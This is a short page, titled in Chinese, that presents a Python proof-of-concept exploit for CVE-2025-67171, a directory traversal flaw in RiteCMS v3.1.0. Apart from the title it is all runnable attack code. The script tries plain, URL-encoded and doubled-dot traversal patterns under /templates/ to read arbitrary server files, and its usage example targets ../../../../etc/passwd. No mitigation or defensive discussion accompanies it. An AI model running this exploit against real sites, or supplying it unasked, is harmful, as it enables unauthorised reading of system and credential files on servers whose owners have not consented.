CVE-2025-67171: RiteCMS v3.1.0 目录遍历漏洞导致敏感文件泄露

import requests import sys # CVE-2025-67171 PoC - RiteCMS v3.1.0 Directory Traversal # Target: RiteCMS /templates/ component # Vulnerability: Incorrect Access Control leading to Path Traversal def exploit_directory_traversal(target_url, file_path): """ Exploit directory traversal to read sensitive files Args: target_url: Base URL of RiteCMS installation file_path: Path to file to read (e.g., ../../../../etc/passwd) """ # Try different path traversal patterns traversal_patterns = [ f"/templates/{file_path}", f"/templates/..%2f..%2f..%2f..%2f{file_path}", f"/templates/....//....//....//....//{file_path}" ] for pattern in traversal_patterns: try: full_url = target_url.rstrip('/') + pattern response = requests.get(full_url, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success with pattern: {pattern}") print(f"[+] File content:\n{response.text}") return True except requests.RequestException as e: print(f"[-] Error with pattern {pattern}: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_path>") print(f"Example: python {sys.argv[0]} http://target.com ../../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] print(f"[*] Targeting: {target}") print(f"[*] Attempting to read: {file_to_read}") exploit_directory_traversal(target, file_to_read)